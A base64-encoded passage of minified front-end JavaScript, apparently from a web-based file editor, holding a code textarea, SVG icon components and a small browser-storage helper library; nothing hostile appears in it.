D8oUygpLGsoImRpdiIsS2EscWEpKTokZSgiIiwhMCksZ2UoZCgidGV4dGFyZWEiLHtzcGVsbGNoZWNrOiJmYWxzZSIsb25LZXlkb3duOnRbN118fCh0WzddPUVlKCgpPT57fSxbInN0b3AiXSkpLHJlZjoiY29kZXRleHRhcmVhIixyb3dzOiIyMCIsIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbOF18fCh0WzhdPWk9PmUuZmlsZV9jb250ZW50PWkpfSxudWxsLDU0NCksW1tqZSxlLmZpbGVfY29udGVudF1dKV0sMiksZCgiZGl2IixYYSxbKFMoITApLGsobWUsbnVsbCxldChlLmZpbGUuZnVuY3MsaT0+KFMoKSxrKCJkaXYiLHtjbGFzczoiZnVuYyIsa2V5OmkuZnVuY30sW2QoInN0cm9uZyIsbnVsbCxXKGkuZnVuYykrIjoiLDEpLChTKCEwKSxrKG1lLG51bGwsZXQoaS5saW5lcyxsPT4oUygpLGsoInNwYW4iLHtrZXk6bH0sW2QoImEiLHtocmVmOiIjIixvbkNsaWNrOmM9PnIuZ290b0xpbmUobCl9LCIgIyIrVyhsKSw5LFphKV0pKSksMTI4KSldKSkpLDEyOCkpXSldLDUxMildKX1jb25zdCBxbz1ubigkYSxbWyJyZW5kZXIiLFFhXSxbIl9fc2NvcGVJZCIsImRhdGEtdi1hZGVjYjIwZSJdXSksZXU9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSx0dT1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNMTggMmgtMnYyaC0ydjJoLTJ2MmgtMnYySDh2Mkg2djJINHYySDJ2Nmg2di0yaDJ2LTJoMnYtMmgydi0yaDJ2LTJoMnYtMmgyVjhoMlY2aC0yVjRoLTJ6bTAgOGgtMnYyaC0ydjJoLTJ2MmgtMnYySDh2LTJINnYtMmgydi0yaDJ2LTJoMlY4aDJWNmgydjJoMnpNNiAxNkg0djRoNHYtMkg2eiJ9LG51bGwsLTEpLG51PVt0dV07ZnVuY3Rpb24gc3UoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsZXUsWy4uLm51XSl9Y29uc3QgcnU9e25hbWU6InBpeGVsYXJ0aWNvbnMtZWRpdCIscmVuZGVyOnN1fSxvdT17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LGl1PWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik0xMCA0aDZ2MmgtNnpNOCA4VjZoMnYyem0tNCAyVjhoNHYyem0tMiAydi0yaDJ2MnptMCA2SDB2LTZoMnptMCAwaDV2Mkgyek0xOCA4aC0yVjZoMnptNCA0aC00VjhoMnYyaDJ6bTAgNnYtNmgydjZ6bTAgMHYyaC01di0yem0tMTEgMmgydi0yaDJ2LTJoMnYtMmgtNFY5aC0ydjVIN3YyaDJ2MmgyeiJ9LG51bGwsLTEpLGx1PVtpdV07ZnVuY3Rpb24gY3UoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsb3UsWy4uLmx1XSl9Y29uc3QgYXU9e25hbWU6InBpeGVsYXJ0aWNvbnMtY2xvdWQtZG93bmxvYWQiLHJlbmRlcjpjdX0sdXU9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSxmdT1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNMjAuMDA1IDUuOTk1aC0xdjJoMXY4aC0xdjJoMWMxLjEwMyAwIDItLjg5NyAyLTJ2LThjMC0xLjEwMi0uODk4LTItMi0ybS0xNCA0SDE1djRINi4wMDV6In0sbnVsbCwtMSksZHU9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTE3LjAwNSAxNy45OTVWNEgyMFYyaC04djJoMy4wMDV2MS45OTVoLTExYy0xLjEwMyAwLTIgLjg5Ny0yIDJ2OGMwIDEuMTAzLjg5NyAyIDIgMmgxMVYyMEgxMnYyaDh2LTJoLTIuOTk1em0tMTMtMnYtOGgxMXY4eiJ9LG51bGwsLTEpLGh1PVtmdSxkdV07ZnVuY3Rpb24gX3UoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsdXUsWy4uLmh1XSl9Y29uc3QgcHU9e25hbWU6ImJ4LXJlbmFtZSIscmVuZGVyOl91fSxndT17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LG11PWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik03IDFINXYzSDJ2MmgzdjNoMlY2aDNWNEg3em0xMiAxaC03djJoN3YxMGgtNnY2SDV2LTlIM3YxMWgxMnYtMmgydi0yaDJ2LTJoMlYyem0tMiAxNmgtMnYtMmgyeiJ9LG51bGwsLTEpLHZ1PVttdV07ZnVuY3Rpb24geXUoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsZ3UsWy4uLnZ1XSl9Y29uc3Qgd3U9e25hbWU6InBpeGVsYXJ0aWNvbnMtbm90ZS1wbHVzIixyZW5kZXI6eXV9LGJ1PXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sRXU9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTQgMmgxMXYySDZ2MTNINHptNCA0aDEydjE2SDh6bTIgMnYxMmg4Vjh6In0sbnVsbCwtMSksU3U9W0V1XTtmdW5jdGlvbiBJdShlLHQpe3JldHVybiBTKCksaygic3ZnIixidSxbLi4uU3VdKX1jb25zdCBDdT17bmFtZToicGl4ZWxhcnRpY29ucy1jb3B5IixyZW5kZXI6SXV9LGt1PXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sT3U9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTQgMTFoMTZ2Mkg0eiJ9LG51bGwsLTEpLHh1PVtPdV07ZnVuY3Rpb24gVHUoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsa3UsWy4uLnh1XSl9Y29uc3QgQXU9e25hbWU6InBpeGVsYXJ0aWNvbnMtbWludXMiLHJlbmRlcjpUdX0sTXU9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSxMdT1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNMTYgMnY0aDZ2MmgtMnYxNEg0VjhIMlY2aDZWMnptLTIgMmgtNHYyaDR6bTAgNEg2djEyaDEyVjh6bS01IDJoMnY4SDl6bTYgMGgtMnY4aDJ6In0sbnVsbCwtMSksRnU9W0x1XTtmdW5jdGlvbiBEdShlLHQpe3JldHVybiBTKCksaygic3ZnIixNdSxbLi4uRnVdKX1jb25zdCAkdT17bmFtZToicGl4ZWxhcnRpY29ucy10cmFzaCIscmVuZGVyOkR1fSxSdT17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LE51PWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik01IDNoNnYySDV2MTRoMTR2LTZoMnY4SDNWM3ptOCAwaDh2OGgtMlY3aC0yVjVoLTR6bTAgOGgtMnYySDl2Mmgydi0yaDJ6bTQtNGgtMnYyaC0ydjJoMlY5aDJ6In0sbnVsbCwtMSksUHU9W051XTtmdW5jdGlvbiBVdShlLHQpe3JldHVybiBTKCksaygic3ZnIixSdSxbLi4uUHVdKX1jb25zdCBIdT17bmFtZToicGl4ZWxhcnRpY29ucy1vcGVuIixyZW5kZXI6VXV9LFZ1PXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sanU9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTE2IDJoLTJ2MmgydjJINHYySDJ2NWgyVjhoMTJ2MmgtMnYyaDJ2LTJoMlY4aDJWNmgtMlY0aC0yek02IDIwaDJ2Mmgydi0ySDh2LTJoMTJ2LTJoMnYtNWgtMnY1SDh2LTJoMnYtMkg4djJINnYySDR2MmgyeiJ9LG51bGwsLTEpLEJ1PVtqdV07ZnVuY3Rpb24gR3UoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsVnUsWy4uLkJ1XSl9Y29uc3QgS3U9e25hbWU6InBpeGVsYXJ0aWNvbnMtcmVsb2FkIixyZW5kZXI6R3V9LHp1PXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sV3U9ZCgiZyIse2ZpbGw6Im5vbmUiLHN0cm9rZToiY3VycmVudENvbG9yIiwic3Ryb2tlLWxpbmVjYXAiOiJyb3VuZCIsInN0cm9rZS1saW5lam9pbiI6InJvdW5kIiwic3Ryb2tlLXdpZHRoIjoiMiJ9LFtkKCJyZWN0Iix7d2lkdGg6IjgiLGhlaWdodDoiNSIseDoiMTQiLHk6IjE3IixyeDoiMSJ9KSxkKCJwYXRoIix7ZDoiTTEwIDIwSDRhMiAyIDAgMCAxLTItMlY1YTIgMiAwIDAgMSAyLTJoMy45YTIgMiAwIDAgMSAxLjY5LjlsLjgxIDEuMmEyIDIgMCAwIDAgMS42Ny45SDIwYTIgMiAwIDAgMSAyIDJ2Mi41In0pLGQoInBhdGgiLHtkOiJNMjAgMTd2LTJhMiAyIDAgMSAwLTQgMHYyIn0pXSwtMSksSnU9W1d1XTtmdW5jdGlvbiBZdShlLHQpe3JldHVybiBTKCksaygic3ZnIix6dSxbLi4uSnVdKX1jb25zdCBxdT17bmFtZToibHVjaWRlLWZvbGRlci1sb2NrIixyZW5kZXI6WXV9LFh1PXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sWnU9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTE5IDIyaC03di0yaDdWMTBoLTZWNEg1djhIM1YyaDEydjJoMnYyaDJ2MmgydjE0ek0xNyA2aC0ydjJoMnpNOCAxOWgzdi0ySDh2LTNINnYzSDN2MmgzdjNoMnoifSxudWxsLC0xKSxRdT1bWnVdO2Z1bmN0aW9uIGVmKGUsdCl7cmV0dXJuIFMoKSxrKCJzdmciLFh1LFsuLi5RdV0pfWNvbnN0IHRmPXtuYW1lOiJwaXhlbGFydGljb25zLWZpbGUtcGx1cyIscmVuZGVyOmVmfSxuZj17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LHNmPWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik00IDRoOHYyaDEwdjE0SDJWNHptMTYgNEgxMFY2SDR2MTJoMTZ6bS02IDJoMnYyaDJ2MmgtMnYyaC0ydi0yaC0ydi0yaDJ6In0sbnVsbCwtMSkscmY9W3NmXTtmdW5jdGlvbiBvZihlLHQpe3JldHVybiBTKCksaygic3ZnIixuZixbLi4ucmZdKX1jb25zdCBsZj17bmFtZToicGl4ZWxhcnRpY29ucy1mb2xkZXItcGx1cyIscmVuZGVyOm9mfSxjZj17dmlld0JveDoiMCAwIDI0IDI0Iix3aWR0aDoiMmVtIixoZWlnaHQ6IjJlbSJ9LGFmPWQoInBhdGgiLHtmaWxsOiJjdXJyZW50Q29sb3IiLGQ6Ik0xMSA1VjNoMnYyaDJ2MmgydjJoLTJWN2gtMnYxMGgtMlY3SDl2Mkg3VjdoMlY1ek0zIDE1djZoMTh2LTZoLTJ2NEg1di00eiJ9LG51bGwsLTEpLHVmPVthZl07ZnVuY3Rpb24gZmYoZSx0KXtyZXR1cm4gUygpLGsoInN2ZyIsY2YsWy4uLnVmXSl9Y29uc3QgZGY9e25hbWU6InBpeGVsYXJ0aWNvbnMtdXBsb2FkIixyZW5kZXI6ZmZ9LGhmPXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sX2Y9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTQgMmgxNHYySDR2MTZoMnYtNmgxMnY2aDJWNmgydjE2SDJWMnptNCAxOGg4di00SDh6TTIwIDZoLTJWNGgyek02IDZoOXY0SDZ6In0sbnVsbCwtMSkscGY9W19mXTtmdW5jdGlvbiBnZihlLHQpe3JldHVybiBTKCksaygic3ZnIixoZixbLi4ucGZdKX1jb25zdCBtZj17bmFtZToicGl4ZWxhcnRpY29ucy1zYXZlIixyZW5kZXI6Z2Z9LHZmPXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0seWY9ZCgicGF0aCIse2ZpbGw6ImN1cnJlbnRDb2xvciIsZDoiTTUgNWgydjJINXptNCA0SDdWN2gyem0yIDJIOVY5aDJ6bTIgMGgtMnYySDl2Mkg3djJINXYyaDJ2LTJoMnYtMmgydi0yaDJ2MmgydjJoMnYyaDJ2LTJoLTJ2LTJoLTJ2LTJoLTJ6bTItMnYyaC0yVjl6bTItMnYyaC0yVjd6bTAgMFY1aDJ2MnoifSxudWxsLC0xKSx3Zj1beWZdO2Z1bmN0aW9uIGJmKGUsdCl7cmV0dXJuIFMoKSxrKCJzdmciLHZmLFsuLi53Zl0pfWNvbnN0IEVmPXtuYW1lOiJwaXhlbGFydGljb25zLWNsb3NlIixyZW5kZXI6YmZ9LFNmPXt2aWV3Qm94OiIwIDAgMjQgMjQiLHdpZHRoOiIyZW0iLGhlaWdodDoiMmVtIn0sSWY9ZCgiZyIse2ZpbGw6Im5vbmUiLHN0cm9rZToiY3VycmVudENvbG9yIiwic3Ryb2tlLWxpbmVjYXAiOiJyb3VuZCIsInN0cm9rZS1saW5lam9pbiI6InJvdW5kIiwic3Ryb2tlLXdpZHRoIjoiMiJ9LFtkKCJwYXRoIix7ZDoiTTIxIDEyYTkgOSAwIDEgMC05IDlNMy42IDloMTYuOE0zLjYgMTVIMTIifSksZCgicGF0aCIse2Q6Ik0xMS41NzggM2ExNyAxNyAwIDAgMCAwIDE4TTEyLjUgM2MxLjcxOSAyLjc1NSAyLjUgNS44NzYgMi41IDltMyAydjdtLTMtM2wzIDNsMy0zIn0pXSwtMSksQ2Y9W0lmXTtmdW5jdGlvbiBrZihlLHQpe3JldHVybiBTKCksaygic3ZnIixTZixbLi4uQ2ZdKX1jb25zdCBPZj17bmFtZToidGFibGVyLXdvcmxkLWRvd25sb2FkIixyZW5kZXI6a2Z9O2Z1bmN0aW9uIHhmKGUpe3JldHVybiBlJiZlLl9fZXNNb2R1bGUmJk9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChlLCJkZWZhdWx0Iik/ZS5kZWZhdWx0OmV9dmFyIFhvPXtleHBvcnRzOnt9fTsoZnVuY3Rpb24oZSx0KXsoZnVuY3Rpb24obil7dmFyIHM9ITE7aWYoZS5leHBvcnRzPW4oKSxzPSEwLCFzKXt2YXIgbz13aW5kb3cuU3RvcmFnZXMscj13aW5kb3cuU3RvcmFnZXM9bigpO3Iubm9Db25mbGljdD1mdW5jdGlvbigpe3JldHVybiB3aW5kb3cuU3RvcmFnZXM9byxyfX19KShmdW5jdGlvbigpe3ZhciBuPXt9LHM9bi50b1N0cmluZyxvPW4uaGFzT3duUHJvcGVydHkscj1vLnRvU3RyaW5nLGk9ci5jYWxsKE9iamVjdCksbD1PYmplY3QuZ2V0UHJvdG90eXBlT2YsYz17fSxmPSJsc18iLF89InNzXyI7ZnVuY3Rpb24gZygpe3ZhciBhPXRoaXMuX3R5cGUscD1hcmd1bWVudHMubGVuZ3RoLHk9d2luZG93W2FdLHg9YXJndW1lbnRzLEY9eFswXSxZLEQsVSxyZSxfZTtpZihwPDEpdGhyb3cgbmV3IEVycm9yKCJNaW5pbXVtIDEgYXJndW1lbnQgbXVzdCBiZSBnaXZlbiIpO2lmKEFycmF5LmlzQXJyYXkoRikpe0Q9e307Zm9yKHJlIGluIEYpaWYoRi5oYXNPd25Qcm9wZXJ0eShyZSkpe1k9RltyZV07dHJ5e0RbWV09SlNPTi5wYXJzZSh5LmdldEl0ZW0oWSkpfWNhdGNoe0RbWV09eS5nZXRJdGVtKFkpfX1yZXR1cm4gRH1lbHNlIGlmKHA9PTEpdHJ5e3JldHVybiBKU09OLnBhcnNlKHkuZ2V0SXRlbShGKSl9Y2F0Y2h7cmV0dXJuIHkuZ2V0SXRlbShGKX1lbHNle3RyeXtpZihEPUpTT04ucGFyc2UoeS5nZXRJdGVtKEYpKSwhRCl0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoRisiIGlzIG5vdCBkZWZpbmVkIGluIHRoaXMgc3RvcmFnZSIpfWNhdGNoe3Rocm93IG5ldyBSZWZlcmVuY2VFcnJvcihGKyIgaXMgbm90IGRlZmluZWQgaW4gdGhpcyBzdG9yYWdlIil9Zm9yKHJlPTE7cmU8cC0xO3JlKyspaWYoRD1EW3hbcmVdXSxEPT09dm9pZCAwKXRocm93IG5ldyBSZWZlcmVuY2VFcnJvcihbXS5zbGljZS5jYWxsKHgsMCxyZSsxKS5qb2luKCIuIikrIiBpcyBub3QgZGVmaW5lZCBpbiB0aGlzIHN0b3JhZ2UiKTtpZihBcnJheS5pc0FycmF5KHhbcmVdKSl7VT1ELEQ9e307Zm9yKF9lIGluIHhbcmVdKXhbcmVdLmhhc093blByb3BlcnR5KF9lKSYmKERbeFtyZV1bX2VdXT1VW3hbcmVdW19lXV0pO3JldHVybiBEfWVsc2UgcmV0dXJuIERbeFtyZV1dfX1mdW5jdGlvbiB2KCl7dmFyIGE9dGhpcy5fdHlwZSxwPWFyZ3VtZW50cy5sZW5ndGgseT13aW5kb3dbYV0seD1hcmd1bWVudHMsRj14WzBdLFk9eFsxXSxELFU9aXNOYU4oWSk/e306W10scmUsX2UscGU7aWYocDwxfHwhWihGKSYmcDwyKXRocm93IG5ldyBFcnJvcigiTWluaW11bSAyIGFyZ3VtZW50cyBtdXN0IGJlIGdpdmVuIG9yIGZpcnN0IHBhcmFtZXRlciBtdXN0IGJlIGFuIG9iamVjdCIpO2lmKFooRikpe2ZvcihwZSBpbiBGKUYuaGFzT3duUHJvcGVydHkocGUpJiYoRD1GW3BlXSwhWihEKSYmIXRoaXMuYWx3YXlzVXNlSnNvbj95LnNldEl0ZW0ocGUsRCk6eS5zZXRJdGVtKHBlLEpTT04uc3RyaW5naWZ5KEQpKSk7cmV0dXJuIEZ9ZWxzZXtpZihwPT0yKXJldHVybiB0eXBlb2YgWT09Im9iamVjdCJ8fHRoaXMuYWx3YXlzVXNlSnNvbj95LnNldEl0ZW0oRixKU09OLnN0cmluZ2lmeShZKSk6eS5zZXRJdGVtKEYsWSksWTt0cnl7X2U9eS5nZXRJdGVtKEYpLF9lIT1udWxsJiYoVT1KU09OLnBhcnNlKF9lKSl9Y2F0Y2h7fWZvcihfZT1VLHBlPTE7cGU8cC0yO3BlKyspRD14W3BlXSxyZT1pc05hTih4W3BlKzFdKT8ib2JqZWN0IjoiYXJyYXkiLCghX2VbRF18fHJlPT0ib2JqZWN0IiYmIVooX2VbRF0pfHxyZT09ImFycmF5IiYmIUFycmF5LmlzQXJyYXkoX2VbRF0pKSYmKHJlPT0iYXJyYXkiP19lW0RdPVtdOl9lW0RdPXt9KSxfZT1fZVtEXTtyZXR1cm4gX2VbeFtwZV1dPXhbcGUrMV0seS5zZXRJdGVtKEYsSlNPTi5zdHJpbmdpZnkoVSkpLFV9fWZ1bmN0aW9uIFQoKXt2YXIgYT10aGlzLl90eXBlLHA9YXJndW1lbnRzLmxlbmd0aCx5PXdpbmRvd1thXSx4PWFyZ3VtZW50cyxGPXhbMF0sWSxELFUscmU7aWYocDwxKXRocm93IG5ldyBFcnJvcigiTWluaW11bSAxIGFyZ3VtZW50IG11c3QgYmUgZ2l2ZW4iKTtpZihBcnJheS5pc0FycmF5KEYpKXtmb3IoVSBpbiBGKUYuaGFzT3duUHJvcGVydHkoVSkmJnkucmVtb3ZlSXRlbShGW1VdKTtyZXR1cm4hMH1lbHNle2lmKHA9PTEpcmV0dXJuIHkucmVtb3ZlSXRlbShGKSwhMDt0cnl7WT1EPUpTT04ucGFyc2UoeS5nZXRJdGVtKEYpKX1jYXRjaHt0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoRisiIGlzIG5vdCBkZWZpbmVkIGluIHRoaXMgc3RvcmFnZSIpfWZvcihVPTE7VTxwLTE7VSsrKWlmKEQ9RFt4W1VdXSxEPT09dm9pZCAwKXRocm93IG5ldyBSZWZlcmVuY2VFcnJvcihbXS5zbGljZS5jYWxsKHgsMSxVKS5qb2luKCIuIikrIiBpcyBub3QgZGVmaW5lZCBpbiB0aGlzIHN0b3JhZ2UiKTtpZihBcnJheS5pc0FycmF5KHhbVV0pKWZvcihyZSBpbiB4W1VdKXhbVV0uaGFzT3duUHJvcGVydHkocmUpJiZkZWxldGUgRFt4W1VdW3JlXV07ZWxzZSBkZWxldGUgRFt4W1VdXTtyZXR1cm4geS5zZXRJdGVtKEYsSlNPTi5zdHJpbmdpZnkoWSkpLCEwfX1mdW5jdGlvbiBxKGEpe3ZhciBwPXRlLmNhbGwodGhpcykseTtmb3IoeSBpbiBwKXAuaGFzT3duUHJvcGVydHkoeSkmJlQuY2FsbCh0aGlzLHBbeV0pO2lmKGEpZm9yKHkgaW4gYy5uYW1lc3BhY2VTdG9yYWdlcyljLm5hbWVzcGFjZVN0b3JhZ2VzLmhhc093blByb3BlcnR5KHkpJiZ2ZSh5KX1mdW5jdGlvbiBKKCl7dmFyIGE9YXJndW1lbnRzLmxlbmd0aCxwPWFyZ3VtZW50cyx5PXBbMF0seDtpZihhPT0wKXJldHVybiB0ZS5jYWxsKHRoaXMpLmxlbmd0aD09MDtpZihBcnJheS5pc0FycmF5KHkpKXtmb3IoeD0wO3g8eS5sZW5ndGg7eCsrKWlmKCFKLmNhbGwodGhpcyx5W3hdKSlyZXR1cm4hMTtyZXR1cm4hMH1lbHNlIHRyeXt2YXIgRj1nLmFwcGx5KHRoaXMsYXJndW1lbnRzKTtBcnJheS5pc0FycmF5KHBbYS0xXSl8fChGPXt0b3Rlc3Q6Rn0pO2Zvcih4IGluIEYpaWYoRi5oYXNPd25Qcm9wZXJ0eSh4KSYmIShaKEZbeF0pJiZ1ZShGW3hdKXx8QXJyYXkuaXNBcnJheShGW3hdKSYmIUZbeF0ubGVuZ3RofHx0eXBlb2YgRlt4XSE9ImJvb2xlYW4iJiYhRlt4XSkpcmV0dXJuITE7cmV0dXJuITB9Y2F0Y2h7cmV0dXJuITB9fWZ1bmN0aW9uIEcoKXt2YXIgYT1hcmd1bWVudHMubGVuZ3RoLHA9YXJndW1lbnRzLHk9cFswXSx4O2lmKGE8MSl0aHJvdyBuZXcgRXJyb3IoIk1pbmltdW0gMSBhcmd1bWVudCBtdXN0IGJlIGdpdmVuIik7aWYoQXJyYXkuaXNBcnJheSh5KSl7Zm9yKHg9MDt4PHkubGVuZ3RoO3grKylpZighRy5jYWxsKHRoaXMseVt4XSkpcmV0dXJuITE7cmV0dXJuITB9ZWxzZSB0cnl7dmFyIEY9Zy5hcHBseSh0aGlzLGFyZ3VtZW50cyk7QXJyYXkuaXNBcnJheShwW2EtMV0pfHwoRj17dG90ZXN0OkZ9KTtmb3IoeCBpbiBGKWlmKEYuaGFzT3duUHJvcGVydHkoeCkmJiEoRlt4XSE9PXZvaWQgMCYmRlt4XSE9PW51bGwpKXJldHVybiExO3JldHVybiEwfWNhdGNoe3JldHVybiExfX1mdW5jdGlvbiB0ZSgpe3ZhciBhPXRoaXMuX3R5cGUscD1hcmd1bWVudHMubGVuZ3RoLHk9d2luZG93W2FdLHg9W10sRj17fTtpZihwPjA/Rj1nLmFwcGx5KHRoaXMsYXJndW1lbnRzKTpGPXksRiYmRi5fY29va2llKXt2YXIgWT1Db29raWVzLmdldCgpO2Zvcih2YXIgRCBpbiBZKVkuaGFzT3duUHJvcGVydHkoRCkmJkQhPSIiJiZ4LnB1c2goRC5yZXBsYWNlKEYuX3ByZWZpeCwiIikpfWVsc2UgZm9yKHZhciBVIGluIEYpRi5oYXNPd25Qcm9wZXJ0eShVKSYmeC5wdXNoKFUpO3JldHVybiB4fWZ1bmN0aW9uIHZlKGEpe2lmKCFhfHx0eXBlb2YgYSE9InN0cmluZyIpdGhyb3cgbmV3IEVycm9yKCJGaXJzdCBwYXJhbWV0ZXIgbXVzdCBiZSBhIHN0cmluZyIpO2xlPyh3aW5kb3cubG9jYWxTdG9yYWdlLmdldEl0ZW0oYSl8fHdpbmRvdy5sb2NhbFN0b3JhZ2Uuc2V0SXRlbShhLCJ7fSIpLHdpbmRvdy5zZXNzaW9uU3RvcmFnZS5nZXRJdGVtKGEpfHx3aW5kb3cuc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbShhLCJ7fSIpKTood2luZG93LmxvY2FsQ29va2llU3RvcmFnZS5nZXRJdGVtKGEpfHx3aW5kb3cubG9jYWxDb29raWVTdG9yYWdlLnNldEl0ZW0oYSwie30iKSx3aW5kb3cuc2Vzc2lvbkNvb2tpZVN0b3JhZ2UuZ2V0SXRlbShhKXx8d2luZG93LnNlc3Npb25Db29raWVTdG9yYWdlLnNldEl0ZW0oYSwie30iKSk7dmFyIHA9e2xvY2FsU3RvcmFnZTpqKHt9LGMubG9jYWxTdG9yYWdlLHtfbnM6YX0pLHNlc3Npb25TdG9yYWdlOmooe30sYy5zZXNzaW9uU3RvcmFnZSx7X25zOmF9KX07cmV0dXJuIE4mJih3aW5kb3cuY29va2llU3RvcmFnZS5nZXRJdGVtKGEpfHx3aW5kb3cuY29va2llU3RvcmFnZS5zZXRJdGVtKGEsInt9IikscC5jb29raWVTdG9yYWdlPWooe30sYy5jb29raWVTdG9yYWdlLHtfbnM6YX0pKSxjLm5hbWVzcGFjZVN0b3JhZ2VzW2FdPXAscH1mdW5jdGlvbiBYKGEpe3ZhciBwPSJqc2FwaSI7dHJ5e3JldHVybiB3aW5kb3dbYV0/KHdpbmRvd1thXS5zZXRJdGVtKHAscCksd2luZG93W2FdLnJlbW92ZUl0ZW0ocCksITApOiExfWNhdGNoe3JldHVybiExfX1mdW5jdGlvbiBaKGEpe3ZhciBwLHk7cmV0dXJuIWF8fHMuY2FsbChhKSE9PSJbb2JqZWN0IE9iamVjdF0iPyExOihwPWwoYSkscD8oeT1vLmNhbGwocCwiY29uc3RydWN0b3IiKSYmcC5jb25zdHJ1Y3Rvcix0eXBlb2YgeT09ImZ1bmN0aW9uIiYmci5jYWxsKHkpPT09aSk6ITApfWZ1bmN0aW9uIHVlKGEpe3ZhciBwO2ZvcihwIGluIGEpcmV0dXJuITE7cmV0dXJuITB9ZnVuY3Rpb24gaigpe2Zvcih2YXIgYT0xLHA9YXJndW1lbnRzWzBdO2E8YXJndW1lbnRzLmxlbmd0aDthKyspe3ZhciB5PWFyZ3VtZW50c1thXTtmb3IodmFyIHggaW4geSl5Lmhhc093blByb3BlcnR5KHgpJiYocFt4XT15W3hdKX1yZXR1cm4gcH12YXIgbGU9WCgibG9jYWxTdG9yYWdlIiksTj10eXBlb2YgQ29va2llczwidSIsbmU9e190eXBlOiIiLF9uczoiIixfY2FsbE1ldGhvZDpmdW5jdGlvbihhLHApe3A9QXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwocCk7dmFyIHk9W10seD1wWzBdO3JldHVybiB0aGlzLl9ucyYmeS5wdXNoKHRoaXMuX25zKSx0eXBlb2YgeD09InN0cmluZyImJnguaW5kZXhPZigiLiIpIT09LTEmJihwLnNoaWZ0KCksW10udW5zaGlmdC5hcHBseShwLHguc3BsaXQoIi4iKSkpLFtdLnB1c2guYXBwbHkoeSxwKSxhLmFwcGx5KHRoaXMseSl9LGFsd2F5c1VzZUpzb246ITEsZ2V0OmZ1bmN0aW9uKCl7cmV0dXJuIWxlJiYhTj9udWxsOnRoaXMuX2NhbGxNZXRob2QoZyxhcmd1bWVudHMpfSxzZXQ6ZnVuY3Rpb24oKXt2YXIgYT1hcmd1bWVudHMubGVuZ3RoLHA9YXJndW1lbnRzLHk9cFswXTtpZihhPDF8fCFaKHkpJiZhPDIpdGhyb3cgbmV3IEVycm9yKCJNaW5pbXVtIDIgYXJndW1lbnRzIG11c3QgYmUgZ2l2ZW4gb3IgZmlyc3QgcGFyYW1ldGVyIG11c3QgYmUgYW4gb2JqZWN0Iik7aWYoIWxlJiYhTilyZXR1cm4gbnVsbDtpZihaKHkpJiZ0aGlzLl9ucyl7Zm9yKHZhciB4IGluIHkpeS5oYXNPd25Qcm9wZXJ0eSh4KSYmdGhpcy5fY2FsbE1ldGhvZCh2LFt4LHlbeF1dKTtyZXR1cm4geX1lbHNle3ZhciBGPXRoaXMuX2NhbGxNZXRob2QodixwKTtyZXR1cm4gdGhpcy5fbnM/Rlt5LnNwbGl0KCIuIilbMF1dOkZ9fSxyZW1vdmU6ZnVuY3Rpb24oKXtpZihhcmd1bWVudHMubGVuZ3RoPDEpdGhyb3cgbmV3IEVycm9yKCJNaW5pbXVtIDEgYXJndW1lbnQgbXVzdCBiZSBnaXZlbiIpO3JldHVybiFsZSYmIU4/bnVsbDp0aGlzLl9jYWxsTWV0aG9kKFQsYXJndW1lbnRzKX0scmVtb3ZlQWxsOmZ1bmN0aW9uKGEpe3JldHVybiFsZSYmIU4/bnVsbDp0aGlzLl9ucz8odGhpcy5fY2FsbE1ldGhvZCh2